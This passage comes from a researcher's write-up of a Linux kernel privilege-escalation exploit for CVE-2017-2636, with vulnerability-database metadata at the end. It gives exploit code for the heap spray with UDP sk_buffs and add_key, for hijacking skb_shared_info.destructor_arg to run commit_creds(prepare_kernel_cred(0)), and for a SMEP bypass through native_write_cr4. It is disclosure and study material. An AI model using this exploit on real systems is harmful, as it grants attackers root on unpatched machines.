printf("[+] finish as: uid=0, euid=0, start sh...\n"); run_sh(); ``` Here we try to exploit the double-free error by overwriting `struct sk_buff`. In case of success, we exit from the main loop and run the root shell in the child process using `execve()`. ### Exploiting the sk_buff As I mentioned, the doubly freed `n_hdlc_buf` item is allocated in the `kmalloc-8192` slab cache. For exploiting double-free error for this cache, we need some kernel objects with the size a bit less than 8 kB. Actually, we need two types of such objects: * one containing some function pointer, * another one with the controllable payload, which can overwrite that pointer. Searching for such kernel objects and experimenting with them was not easy and took me some time. Finally, I've chosen `sk_buff` with its `destructor_arg` in `struct skb_shared_info`. This approach is not new – consider reading the cool write-up about [CVE-2016-2384](https://xairy.github.io/blog/2016/cve-2016-2384). The network-related buffers in Linux kernel are represented by `struct sk_buff`. See [these](http://vger.kernel.org/~davem/skb_data.html) great pictures describing `sk_buff` data layout. The most important for us is that the network data and `skb_shared_info` are placed in the same kernel memory block pointed by `sk_buff.head`. So creating a 7500-byte network packet in the userspace will make `skb_shared_info` be allocated in the `kmalloc-8192` slab cache. Exactly like we want. But there is one challenge: `n_hdlc_release()` frees 13 `n_hdlc_buf` items straight away. At first I was trying to do the heap spray in parallel with `n_hdlc_release()`, but didn't manage to inject the corresponding `kmalloc()` between the needed `kfree()` calls. So I used another way: spraying **after** `n_hdlc_release()` can give two `sk_buff` items with the `head` pointing to the same memory. That's promising. So we need to spray hard but keep 8 kB UDP packets allocated to avoid mess in the allocator freelist. Socket queues are limited in size, so I've created a lot of sockets using `socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)`: * one client socket for sending UDP packets, * one dedicated server socket, which is likely to receive two packets with the same `sk_buff.head`, * 200 server sockets for receiving other packets emitted during heap spray, * 200 server sockets for receiving the packets emitted during slab exhaustion. Ok. Now we need another kernel object for overwriting the function pointer in `skb_shared_info.destructor_arg`. We can't use `sk_buff.head` for that again, because `skb_shared_info` is placed at the same offset in `sk_buff.head` and we don't control it. I was really happy to find that `add_key` syscall is able to allocate the controllable data in the `kmalloc-8192` too. But I became upset when encountered key data quotas in `/proc/sys/kernel/keys/` owned by root. The default value of `/proc/sys/kernel/keys/maxbytes` is 20000\. It means that only 2 `add_key` syscalls can concurrently store our 8 kB payload in the kernel memory, and that's not enough. But the happiness returned when I encountered the bright idea at the [slides](https://speakerdeck.com/retme7/talk-is-cheap-show-me-the-code) of Di Shen from [Keen Security Lab](http://keenlab.tencent.com/en/): I can make the heap spray successful even if `add_key` fails! So, let's look at the `init_payload()` code: ``` #define MMAP_ADDR 0x10000lu #define PAYLOAD_SZ 8100 #define SKB_END_OFFSET 7872 #define KEY_DATA_OFFSET 18 int init_payload(char *p) { struct skb_shared_info *info = (struct skb_shared_info *)(p + SKB_END_OFFSET - KEY_DATA_OFFSET); struct ubuf_info *uinfo_p = NULL; ``` The definition of `struct skb_shared_info` and `struct ubuf_info` is copied to the exploit code from [`include/linux/skbuff.h`](http://lxr.free-electrons.com/source/include/linux/skbuff.h) kernel header. The payload buffer will be passed to `add_key` as a parameter, and the data which we put there at `7872 - 18 = 7854` byte offset will exactly overwrite `skb_shared_info`. ``` char *area = NULL; void *target_addr = (void *)(MMAP_ADDR); area = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (area != target_addr) { perror("[-] mmap\n"); return EXIT_FAILURE; } uinfo_p = target_addr; uinfo_p->callback = (uint64_t)root_it; info->destructor_arg = (uint64_t)uinfo_p; info->tx_flags = SKBTX_DEV_ZEROCOPY; ``` The `ubuf_info.callback` is called in [`skb_release_data()`](http://lxr.free-electrons.com/ident?i=skb_release_data) if `skb_shared_info.tx_flags` has `SKBTX_DEV_ZEROCOPY` flag set to 1\. In our case, `ubuf_info` item resides in the userspace memory, so dereferencing its pointer in the kernelspace will be detected by SMAP. Anyway, now the `callback` points to `root_it()`, which does the classical `commit_creds(prepare_kernel_cred(0))`. However, this shellcode resides in the userspace too, so executing it in the kernelspace will be detected by SMEP. We are going to bypass it soon. #### Heap spraying and stabilization As I mentioned, `n_hdlc_release()` frees thirteen `n_hdlc_buf` items. Our `exploit_skb()` is executed shortly after that. Here we do the actual heap spraying by sending twenty 7500-byte UDP packets. Experiments showed that the packets number 12, 13, 14, and 15 are likely to be exploitable, so they are sent to the dedicated server socket. Now we are going to perform the use-after-free on `sk_buff.data`: * receive 4 network packets on the dedicated server socket one by one, * execute several `add_key` syscalls with our payload after receiving each of them. The exact number of `add_key` syscalls giving the best results was found empirically by testing the exploit many times. The example of `add_key` call: ``` k[0] = syscall(__NR_add_key, "user", "payload0", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING); ``` If we won the race and did the heap spraying luckily, then our shellcode is executed when the poisoned packet is received. After that we can invalidate the keys that were successfully allocated in the kernel memory: ``` for (i = 0; i < KEYS_N; i++) { if (k[i] > 0) syscall(__NR_keyctl, KEYCTL_INVALIDATE, k[i]); } ``` Now we need to prepare the heap to the next round of `n_hdlc` racing. The `/proc/slabinfo` shows that `kmalloc-8192` slab stores only 4 objects, so double-free error has high chances to crash the allocator. But the following trick helps to avoid that and makes the exploit much more stable – send a dozen UDP packets to fill the partially emptied slabs. ### SMEP bypass As I mentioned, the `root_it()` shellcode resides in the userspace. Executing it in the kernelspace is detected by [SMEP](http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/) (Supervisor Mode Execution Protection). It is an x86 feature, which is enabled by toggling the bit 20 of CR4 register. There are several approaches to defeat it, for example, Vitaly Nikolenko [describes](https://www.syscan360.org/slides/2016_SG_Vitaly_Nikolenko_Practical_SMEP_Bypass_Techniques.pdf) how to switch off SMEP using stack pivoting ROP technique. It works great, but I didn't want to copy it blindly. So I've created another quite funny way to defeat SMEP without ROP. Please inform me if that approach is already known. In [`arch/x86/include/asm/special_insns.h`](http://lxr.free-electrons.com/source/arch/x86/include/asm/special_insns.h) I've found this function: ``` static inline void native_write_cr4(unsigned long val) { printk("wcr4: 0x%lx\n", val); asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order)); } ``` It writes its first argument to CR4. Now let's look at `skb_release_data()`, which executes the hijacked `callback` in the Ring 0: ``` if (shinfo->tx_flags & SKBTX_DEV_ZEROCOPY) { struct ubuf_info *uarg; uarg = shinfo->destructor_arg; if (uarg->callback) uarg->callback(uarg, true); } ``` We see that the destructor `callback` takes `uarg` address as the first argument. And we control this address in the exploited `sk_buff`. So I've decided to write the address of `native_write_cr4()` to `ubuf_info.callback` and put `ubuf_info` item at the mmap'ed userspace address `0x406e0`, which is the correct value of CR4 with disabled SMEP. In that case SMEP is disabled on one CPU core without any ROP. However, now we need to win the race twice: first time to disable SMEP, second time to execute the shellcode. But it's not a problem for this particular exploit since it is fast and reliable. So let's initialize the payload a bit differently: ``` #define CR4_VAL 0x406e0lu void *target_addr = (void *)(CR4_VAL & 0xfffff000lu); area = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (area != target_addr) { perror("[-] mmap\n"); return EXIT_FAILURE; } uinfo_p = (struct ubuf_info *)CR4_VAL; uinfo_p->callback = NATIVE_WRITE_CR4; info->destructor_arg = (uint64_t)uinfo_p; info->tx_flags = SKBTX_DEV_ZEROCOPY; ``` That SMEP bypass looks witty, but introduces one additional requirement - it needs bit 18 (OSXSAVE) of CR4 set to 1\. Otherwise `target_addr` becomes 0 and `mmap()` fails, since mapping the zero page is not allowed. ## Conclusion Investigating of `CVE-2017-2636` and writing this article was a big fun for me. I want to thank [Positive Technologies](https://www.ptsecurity.com/ww-en/) for giving me the opportunity to work on this research. I would really appreciate feedback. See my contacts below. |
| id | SSV:92755 |
| last seen | 2017-11-19 |
| modified | 2017-03-09 |
| published | 2017-03-09 |
| reporter | Root |
| title | Linux kernel local privilege escalation flaw in n_hdlc（CVE-2017-2636） |
References
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